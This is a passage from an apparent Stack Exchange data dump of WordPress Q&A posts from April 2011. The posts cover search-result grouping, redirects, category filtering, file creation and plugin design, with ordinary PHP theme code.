'twentyten' ), '&amp;lt;span&amp;gt;' . get_search_query() . '&amp;lt;/span&amp;gt;' ); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;    &amp;lt;?php&#xA;    /* Run the loop for the search to output the results.&#xA;     * If you want to overload this in a child theme then include a file&#xA;     * called loop-search.php and that will be used instead.&#xA;     */&#xA;     get_template_part( 'loop', 'search' );&#xA;    ?&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;div id=&quot;post-0&quot; class=&quot;post no-results not-found&quot;&amp;gt;&#xA;        &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php _e( 'Nothing Found', 'twentyten' ); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;    &amp;lt;?php if (function_exists('relevanssi_didyoumean')) {&#xA;        relevanssi_didyoumean(get_search_query(), &quot;&amp;lt;p&amp;gt;Sorry, but nothing matched your search criteria. Please try again with some different keywords. Or you can also try &quot;, &quot;&amp;lt;/p&amp;gt;&quot;, 5);&#xA;    }?&amp;gt;&#xA;            &amp;lt;?php related_searches(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #post-0 --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-04-19T17:39:01.213" LastActivityDate="2011-04-19T17:39:01.213" Title="Seperating Custom Post Search Results" Tags="&lt;custom-post-types&gt;&lt;search&gt;" AnswerCount="1" FavoriteCount="3" />
  <row Id="14882" PostTypeId="1" AcceptedAnswerId="14917" CreationDate="2011-04-15T22:43:41.747" Score="0" ViewCount="92" Body="&lt;p&gt;I badly need to create an .XML file inside my theme every time user comes to my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code in header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php $ourFileName = &quot;testFile.txt&quot;;&#xA;          $ourFileHandle = fopen($ourFileName, 'w') or die(&quot;can't open file&quot;);&#xA;          fclose($ourFileHandle); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just does nothing. It doesn't display &quot;can't open file&quot;, but it doesn't create the file as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm testing it at my /localhost machine and this code works perfectly everywhere there (so file permissions are alright), but not in Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it happening? :(&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-04-16T20:23:22.917" Title="Is fopen() forbidden in WP?" Tags="&lt;filesystem&gt;" AnswerCount="2" />
  <row Id="14884" PostTypeId="1" CreationDate="2011-04-15T23:12:59.420" Score="2" ViewCount="282" Body="&lt;p&gt;I have form where I list all terms associated with posts as check boxes, user should pick few of them, hit search and get all posts that match all chosen terms. It works great when there are posts that match search criteria. My question is how do I display posts that have just few of matched terms and how to sort results based on number of matches. Any help is much appreciated. Thanx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is the form inside search page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php bloginfo('template_url') ?&amp;gt;/build_search.php&quot; method=&quot;post&quot; accept-charset=&quot;utf-8&quot;&amp;gt;&#xA;&amp;lt;?php $terms = get_terms( 'my_tax' );&#xA;$checkboxes = '';&#xA;foreach($terms as $term) :&#xA;    $checkboxes .='&amp;lt;input type=&quot;checkbox&quot; name=&quot;term[]&quot; value=&quot;'.$term -&amp;gt; slug.'&quot; id=&quot;term-'.$term-&amp;gt;term_id.'&quot; /&amp;gt;&amp;lt;label for=&quot;term-'.$term-&amp;gt;term_id.'&quot;&amp;gt;'.$term-&amp;gt;name.'&amp;lt;/label&amp;gt;';&#xA;endforeach;&#xA;print $checkboxes;&#xA;?&amp;gt;&#xA;&amp;lt;input id=&quot;submit&quot; type=&quot;submit&quot; value=&quot;Search&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I put in build_search.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (isset($_POST[&quot;term&quot;])){ $terms_array = array(); $terms_array = $_POST[&quot;term&quot;]; foreach ($terms_array as $key =&amp;gt; $value) { $string .= $value.'+'; } $terms_string = substr($string, 0, -1); $term = $terms_string; } else { $term = &quot;&quot;; } $url = header(&quot;Location:/?my_tax=$term&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after that I have only taxonomy-my_tax.php with regular loop in it.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastEditorUserId="4708" LastEditorDisplayName="" LastEditDate="2011-04-16T22:04:49.207" LastActivityDate="2011-08-15T04:24:33.527" Title="Sort posts by number of matched terms" Tags="&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;search&gt;&lt;sort&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" />
  <row Id="14885" PostTypeId="2" ParentId="14876" CreationDate="2011-04-15T23:18:27.300" Score="2" ViewCount="" Body="&lt;p&gt;You've got 2 separate issues here&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Word -&gt; Wordpress: As @One Trick Pony said, the easiest way to sort this will be using the Paste from Word button on the post editing toolbar. Images will probably need to be inserted manually&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;MathType -&gt; WordPress: You'll need to install the &lt;a href=&quot;http://wordpress.org/extend/plugins/latex/&quot; rel=&quot;nofollow&quot;&gt;Latex for WordPress plugin&lt;/a&gt; and use MathType to export the equations out in a standard Latex format - see &lt;a href=&quot;http://wordpress.org/extend/plugins/latex/&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; for how to do it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you don't have MathType, I believe there are some tools you can find online and download that will convert MathType to Latex&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-04-15T23:18:27.300" CommentCount="2" />
  <row Id="14886" PostTypeId="2" ParentId="14882" CreationDate="2011-04-15T23:32:30.177" Score="2" ViewCount="" Body="&lt;p&gt;It's not a WordPress problem; WordPress will execute fopen() just like any other PHP function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be an issue with your server configuration (e.g. safe mode).&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-15T23:32:30.177" CommentCount="3" />
  <row Id="14887" PostTypeId="2" ParentId="14879" CreationDate="2011-04-16T00:43:30.620" Score="1" ViewCount="" Body="&lt;p&gt;You can do custom query loop for that particular meta box for an empty value. Something along the lines of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$check_city_value = get_post_meta($post-&amp;gt;ID, 'city_box'); ?&amp;gt;&#xA;if (empty($check_city_value)) {&#xA;    echo '$check_city_value is either 0, empty, or not set';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You would have to loop through all the posts to do this and for multiple meta box checking it might just be better to use a more direct database query using &lt;code&gt;$wpdb&lt;/code&gt; , &#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wpdb_Class&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-16T00:43:30.620" CommentCount="1" />
  <row Id="14888" PostTypeId="2" ParentId="14881" CreationDate="2011-04-16T00:55:01.273" Score="2" ViewCount="" Body="&lt;p&gt;You can group posts by type using &lt;code&gt;posts_groupby&lt;/code&gt; filter hook: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('posts_groupby', 'group_by_post_type' );&#xA;function group_by_post_type( $groupby )&#xA;{&#xA;  global $wpdb;&#xA;  if( !is_search() ) {&#xA;    return $groupby;&#xA;  }&#xA;  $mygroupby = &quot;{$wpdb-&amp;gt;posts}.post_type&quot;;&#xA;  if( !strlen(trim($groupby))) {&#xA;    // groupby was empty, use ours&#xA;    return $mygroupby;&#xA;  }&#xA;  // wasn't empty, append ours&#xA;  return $groupby . &quot;, &quot; . $mygroupby;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your loop of do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$last_type=&quot;&quot;;&#xA;$typecount = 0;&#xA;while (have_posts()){&#xA;    the_post();&#xA;    if ($last_type != $post-&amp;gt;post_type){&#xA;        $typecount = $typecount + 1;&#xA;        if ($typecount &amp;gt; 1){&#xA;            echo '&amp;lt;/div&amp;gt;'; //close type container&#xA;        }&#xA;        // save the post type.&#xA;        $last_type = $post-&amp;gt;post_type;&#xA;        //open type container&#xA;        switch ($post-&amp;gt;post_type) {&#xA;            case 'post':&#xA;                echo &quot;&amp;lt;div class=\&quot;post container\&quot;&amp;gt;&amp;lt;h2&amp;gt;posts search result&amp;lt;/h2&amp;gt;&quot;;&#xA;                break;&#xA;            case 'page':&#xA;                echo &quot;&amp;lt;div class=\&quot;page container\&quot;&amp;gt;&amp;lt;h2&amp;gt;pages search result&amp;lt;/h2&amp;gt;&quot;;&#xA;                break;&#xA;            case 'custom_type_name':&#xA;                echo &quot;&amp;lt;div class=\&quot;custom container\&quot;&amp;gt;&amp;lt;h2&amp;gt;custom post type search result&amp;lt;/h2&amp;gt;&quot;;&#xA;                break;&#xA;            //add as many as you need.&#xA;        }&#xA;    }&#xA;&#xA;    //...&#xA;    // do your loop &#xA;    //...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-16T00:55:01.273" CommentCount="4" />
  <row Id="14889" PostTypeId="1" AcceptedAnswerId="14891" CreationDate="2011-04-16T02:17:47.627" Score="0" ViewCount="145" Body="&lt;p&gt;I'm trying to redirect to a specific post based on a GET parameter. The value of the GET parameter is the value of a specific custom field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://somedomain.com/wordpress/?fid=xyzzy&quot; rel=&quot;nofollow&quot;&gt;http://somedomain.com/wordpress/?fid=xyzzy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this working when a post matches. But, it's not working properly when there is no match.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_filter('query_vars', 'fid_query_vars');&#xA;function fid_query_vars($vars) {&#xA;    // add fid to the valid list of variables&#xA;    $new_vars = array('fid');&#xA;    $vars = $new_vars + $vars;&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('parse_request', 'fid_parse_request');&#xA;function fid_parse_request($wp) {&#xA;    // only process requests with &quot;fid&quot;&#xA;    if (array_key_exists('fid', $wp-&amp;gt;query_vars) &amp;amp;&amp;amp; $wp-&amp;gt;query_vars['fid'] != '') {&#xA;        $args = array('post_type' =&amp;gt; 'faculty_profile', 'meta_key' =&amp;gt; 'wid', 'meta_value' =&amp;gt; $wp-&amp;gt;query_vars['fid'] , 'numberposts' =&amp;gt; 1);&#xA;        $redirect_to_post = get_posts($args);&#xA;if (!empty($redirect_to_post ) ) {&#xA;        foreach ($redirect_to_post as $p) {&#xA;            $link = get_permalink($p-&amp;gt;ID);&#xA;                        wp_redirect( $link , 301 );&#xA;            exit;&#xA;        }&#xA;&#xA;        }&#xA;else {&#xA;    $url = 'http://cnn.com/';&#xA;    wp_redirect( $url , 404 );&#xA;        }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd expect this to redirect to cnn.com with a 404 error, if there is no match. But, instead, I get the blog's homepage, with a status of 200.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? thanks.&lt;/p&gt;&#xA;" OwnerUserId="4704" LastActivityDate="2011-04-16T02:50:33.793" Title="Redirecting to a post based on a GET parameter and a custom field" Tags="&lt;posts&gt;&lt;redirect&gt;&lt;wp-redirect&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="14891" PostTypeId="2" ParentId="14889" CreationDate="2011-04-16T02:50:33.793" Score="0" ViewCount="" Body="&lt;p&gt;remove the else after the foreach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('parse_request', 'fid_parse_request');&#xA;function fid_parse_request($wp) {&#xA;    // only process requests with &quot;fid&quot;&#xA;    if (array_key_exists('fid', $wp-&amp;gt;query_vars) &amp;amp;&amp;amp; $wp-&amp;gt;query_vars['fid'] != '') {&#xA;        $args = array('post_type' =&amp;gt; 'faculty_profile', 'meta_key' =&amp;gt; 'wid', 'meta_value' =&amp;gt; $wp-&amp;gt;query_vars['fid'] , 'numberposts' =&amp;gt; 1);&#xA;        $redirect_to_post = get_posts($args);&#xA;        if (!empty($redirect_to_post ) ) {&#xA;            foreach ($redirect_to_post as $p) {&#xA;                $link = get_permalink($p-&amp;gt;ID);&#xA;                wp_redirect( $link , 301 );&#xA;                exit;&#xA;            }&#xA;        }&#xA;        $url = 'http://cnn.com/';&#xA;        wp_redirect( $url , 404 );&#xA;        exit;&#xA;    }else{&#xA;        return $wp;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-16T02:50:33.793" CommentCount="3" />
  <row Id="14893" PostTypeId="1" AcceptedAnswerId="15813" CreationDate="2011-04-16T04:22:18.093" Score="2" ViewCount="308" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://wordpress.site5.net/boldy/doc/&quot; rel=&quot;nofollow&quot;&gt;Boldy theme&lt;/a&gt; from Site5 on a &lt;a href=&quot;http://www.dekho.com.au&quot; rel=&quot;nofollow&quot;&gt;v3.1.2 site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way this theme works, is that there is a portfolio, (which I am using as a &lt;a href=&quot;http://www.dekho.com.au/category/case-studies/&quot; rel=&quot;nofollow&quot;&gt;case studies gallery&lt;/a&gt;) that pulls in posts from a specific category you define under the themes settings &lt;em&gt;(id=98)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fine if you also set the blog up as per the Boldy instructions, where all blog posts come under a category called blog, but this wasnn't going to give me the slugs I wanted, so &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14330/change-url-for-blog&quot;&gt;I adopted to use a static page&lt;/a&gt; called blog to show my posts on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all works fine, apart from the fact that the posts I create for my portfolio/case studies gallery (category = case studies) now appear in my blog as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to hide posts within a specific category within the blog, but for it not to have the same affect in my case studies gallery?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;--EDIT--&lt;/strong&gt;&#xA;With some help from Wyck via the comments, made &lt;em&gt;some&lt;/em&gt; progress.&#xA;&lt;a href=&quot;http://www.dekho.com.au/index.txt&quot; rel=&quot;nofollow&quot;&gt;Here is a txt version&lt;/a&gt; of my themes default index.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I insert the following onto Line 2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts($query_string . '&amp;amp;cat=-98'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;= This results in no posts being shown on my &lt;a href=&quot;http://www.dekho.com.au/category/case-studies/&quot; rel=&quot;nofollow&quot;&gt;Downloads&lt;/a&gt; page, but all posts still appearing on my &lt;a href=&quot;http://www.dekho.com.au/blog/&quot; rel=&quot;nofollow&quot;&gt;Blog&lt;/a&gt; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need the vice versa of this.  I am sure I am close, but perhaps I need to modify which line I put this on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;--EDIT x2--&lt;/strong&gt;&#xA;Now using the download monitor for my downloads gallery.  But using the portfolio for my case studies.  So some of the links above have changed, but the problem is exactly the same.&lt;/p&gt;&#xA;" OwnerUserId="4280" LastEditorUserId="4280" LastEditorDisplayName="" LastEditDate="2011-04-28T09:12:04.097" LastActivityDate="2011-04-28T09:24:49.620" Title="Hide Category from Blog?" Tags="&lt;categories&gt;" AnswerCount="5" CommentCount="7" />
  <row Id="14894" PostTypeId="2" ParentId="14893" CreationDate="2011-04-16T06:12:09.703" Score="2" ViewCount="" Body="&lt;p&gt;It's difficult to tell since you supplied no code but removing a category from your blog loop is typically very easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance above the main loop, if your category &quot;portfolio&quot; has an id=12 :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( 'cat=-12' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-04-16T06:12:09.703" CommentCount="13" />
  <row Id="14895" PostTypeId="1" CreationDate="2011-04-16T06:38:18.140" Score="0" ViewCount="176" Body="&lt;p&gt;I'd like to take advantage of loading my scripts while the page is loading.  ie.  &lt;a href=&quot;http://yepnopejs.com/&quot; rel=&quot;nofollow&quot;&gt;Yepnope&lt;/a&gt;, &lt;a href=&quot;http://headjs.com/&quot; rel=&quot;nofollow&quot;&gt;head.js&lt;/a&gt; etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I also want to be able to enqueue the script so other plugins don't try adding their own.  (a la jquery)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance...&lt;/p&gt;&#xA;" OwnerUserId="4713" LastActivityDate="2011-04-16T07:18:14.487" Title="Asynchronous Javascript Loaders" Tags="&lt;jquery&gt;&lt;javascript&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" />
  <row Id="14896" PostTypeId="2" ParentId="7607" CreationDate="2011-04-16T06:58:10.880" Score="0" ViewCount="" Body="&lt;p&gt;I would try &lt;a href=&quot;http://hazenet.co.uk/&quot; rel=&quot;nofollow&quot;&gt;http://hazenet.co.uk/&lt;/a&gt;. I just got a VPS with them and love it, very decent prices if you use their 30% promo code! Hope this helps, and their support is fast. Once I open a support ticket it's solved in just an hour or two.&lt;/p&gt;&#xA;" OwnerUserId="4715" LastActivityDate="2011-04-16T06:58:10.880" />
  <row Id="14897" PostTypeId="2" ParentId="14895" CreationDate="2011-04-16T07:18:14.487" Score="1" ViewCount="" Body="&lt;p&gt;You can't have both: you either use wp_enqueue_script() or head.js&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, you do some wacky hacking to translate the WP script dependency tree into head.js calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: Replace head.js with whatever library you want to use.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-16T07:18:14.487" CommentCount="2" />
  <row Id="14898" PostTypeId="2" ParentId="14874" CreationDate="2011-04-16T07:24:37.367" Score="5" ViewCount="" Body="&lt;p&gt;As One Trick Pony said, there's a dedicated function (since WP 3.0):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/theme.php?rev=17640#L9&quot; rel=&quot;nofollow&quot;&gt;is_child_theme()&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-16T07:24:37.367" />
  <row Id="14899" PostTypeId="1" CreationDate="2011-04-16T08:32:32.967" Score="0" ViewCount="78" Body="&lt;p&gt;i m running a blog and having problems with some plugins. When I installed them they were running fine, but after few weeks-- I think after I updated my WordPress to 3.1.1, these plugins stopped working. Maybe jQuery isn't loading or conflicting or something else. Please kindly help me to solve this issue.&lt;/p&gt;&#xA;" OwnerUserId="4716" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-04-16T17:41:39.103" LastActivityDate="2011-04-16T20:28:53.387" Title="WordPress plugin isn't loading completely" Tags="&lt;plugins&gt;&lt;jquery&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="14900" PostTypeId="2" ParentId="14805" CreationDate="2011-04-16T08:44:56.920" Score="0" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;@Frederik&lt;/strong&gt;, &lt;strong&gt;@Bainternet&lt;/strong&gt; &amp;amp; &lt;strong&gt;Otto&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help, guys. A thousand thanks for your help! The key lied in stripping the taxonomy's slug out of &lt;code&gt;wp_get_post_terms()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my final, fully functioning code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$artist_taxo = wp_get_post_terms( $post-&amp;gt;ID, 'artist' );  //Fetch terms from taxonomy 'artist'&#xA;$artistname = $artistslug[0]-&amp;gt;slug;  //Pull slug from $artist_taxo into $artistname&#xA;&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'cdx_albumreviews',  //Specify custom post name&#xA;    'numberposts' =&amp;gt; -1,  //Return all posts&#xA;    'artist' =&amp;gt; $artistname //Taxo 'artist' is equal to $artistname&#xA;    );&#xA;&#xA;    $artist_reviews = new wp_query($args);&#xA;    while ($artist_reviews-&amp;gt;have_posts()) : $artist_reviews-&amp;gt;the_post();&#xA;    the_title();&#xA;    endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A massive thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mathew&lt;/p&gt;&#xA;" OwnerUserId="4687" LastActivityDate="2011-04-16T08:44:56.920" />
  <row Id="14901" PostTypeId="1" AcceptedAnswerId="14905" CreationDate="2011-04-16T08:55:32.807" Score="2" ViewCount="225" Body="&lt;p&gt;I'm coding a very complex plugin which it's organized as a parent &quot;container&quot; class and several subclasses, where each subclass is an optional/mandatory element which usually (but not always) maps to his own add_submenu_page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it's a plugin with his private set of let's call them &quot;subplugins&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every subclass/subplugin has its own (big) set of add_action and add_filter. So, technically speaking, my plugin's subplugin is a valid WP plugin, simply it's not called directly by WP itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since i planned...actually tons of add_action...I'm wondering if i should refactor my plugin using a 'private' Observer/Mediator pattern ie. collect all relevant add_actions to my parent class only and baking up a pattern to notify/forward subclasses of events, reducing the impact of my plugin to WP event ques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a good idea or it's absolutely not necesssary? Can u help me with some code for the class refactoring?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tnx in advance for help,&#xA;gabriele&lt;/p&gt;&#xA;" OwnerUserId="4666" LastActivityDate="2011-04-21T12:58:01.903" Title="Plugin Architecture/Design Pattern - is better to use a private Observer/Mediator Pattern for plugin subclasses or WP add_action?" Tags="&lt;plugin-development&gt;&lt;design&gt;&lt;oop&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="14902" PostTypeId="1" CreationDate="2011-04-16T10:58:57.560" Score="-1" ViewCount="274" Body="&lt;p&gt;I've seen a couple of similar questions to this but I don't think anything exactly the same.  If I'm repeating something you've already seen then please feel free to send me on my way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put a fresh Wordpress install (version 3.1.1) onto a site yesterday.  Went through the install process no problem and the login for wp-admin showed up no problem.  When I logged into the site however, it shows the right URL in the address bar, but the site just shows the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was convinced it must have been a .htaccess problem and so spent some time messing about with different configurations to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This morning I deleted everything from the server, cleared the database and ran a fresh install (again version 3.1.1).  Same problem occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now getting pretty annoyed (I put a Wordpress installation on a different domain on the same server just a couple of days ago) I got in contact with my hosting company to see if they could give me any information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They said that they were getting the following error in the log&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[client xxx.xxx.xxx.xx] Premature end of script headers: /epicuro-palma.com/wp-admin/profile.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and pointed me in the direction of this post&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/support/topic/premature-end-of-script-headers-errors&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/premature-end-of-script-headers-errors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They then suggested that it is a problem with my theme and that I should change theme.  I explained that I had downloaded a fresh version of Wordpress direct from wordpress.org and that I hadn't changed anything.  They said &quot;change the theme&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I downloaded another theme from wordpress.org, uploaded it and changed the settings in the wp_options table to enable it.  Same result, all pages in the front-end work but admin is still borked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some more Googleing about the &quot;premature end of script headers&quot; errors and came across a couple of other suggestions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The PHP Memory Limit might be too low (mine is set to 128MB)&lt;/li&gt;&#xA;&lt;li&gt;Problem with a plugin (there are no plugins enabled on the install)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My hosting company had also suggested that it might be a theme / wordpress version problem and so I cleared the server and database again, downloaded version 3.0.1 from wordpress.org and installed that instead.  Still exactly the same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please can anyone shed any light on this?  If you need any more information then please ask and I'll provide whatever I can.&lt;/p&gt;&#xA;" OwnerUserId="4718" LastActivityDate="2011-04-23T01:49:32.763" Title="All wp-admin pages just showing homepage" Tags="&lt;wp-admin&gt;&lt;3.1&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="14903" PostTypeId="2" ParentId="14901" CreationDate="2011-04-16T11:05:31.200" Score="2" ViewCount="" Body="&lt;p&gt;So ... I basically took the same approach, dont know if it is correct. I think many people come to this approach since it flows naturally forth out of using the settings api.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I define modules (=1 admin page, so header, etc...) and each module has plugins (plugins have fields, are 1 object derived from abstract plugin class.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;here: &lt;a href=&quot;http://plugins.svn.wordpress.org/wp-favicons/trunk/includes/class-load-configuration.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/wp-favicons/trunk/includes/class-load-configuration.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thinks this automatically is done by most because e.g. a module: &lt;a href=&quot;http://plugins.svn.wordpress.org/wp-favicons/trunk/includes/class-module.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/wp-favicons/trunk/includes/class-module.php&lt;/a&gt; corresponds to what we need to do for the settings api&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the init loads the modules and plugins (which each have their own filters actions or attach to filter or actions) {and 3rd party can add plugins to modules}&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;here: &lt;a href=&quot;http://plugins.svn.wordpress.org/wp-favicons/trunk/includes/class-init.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/wp-favicons/trunk/includes/class-init.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(where the plugins check if they should be activated if they are turned on on the corresponding admin page) (and can be represented as abstract: &lt;a href=&quot;http://plugins.svn.wordpress.org/wp-favicons/trunk/includes/class-plugin.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/wp-favicons/trunk/includes/class-plugin.php&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;a plugin derived from the abstract plugin class then either or all : sets extra fields, defines their own admin help screen, verifies its own fields, executes admin page actions, executes client side functions such as filters&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;a plugin attaches itself via Addfilter e.g.: &lt;a href=&quot;http://plugins.svn.wordpress.org/wp-favicons/trunk/plugins/sources/inc/class-module-sources-plugin.php&quot; rel=&quot;nofollow&quot;&gt;http://plugins.svn.wordpress.org/wp-favicons/trunk/plugins/sources/inc/class-module-sources-plugin.php&lt;/a&gt; which corresponds to a &quot;do filter&quot; always present in each plugin so can be a further abstract layer if multiple plugins re-use the same &quot;do&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;and can attach to your own filters in classes at the backend e.g. &lt;a 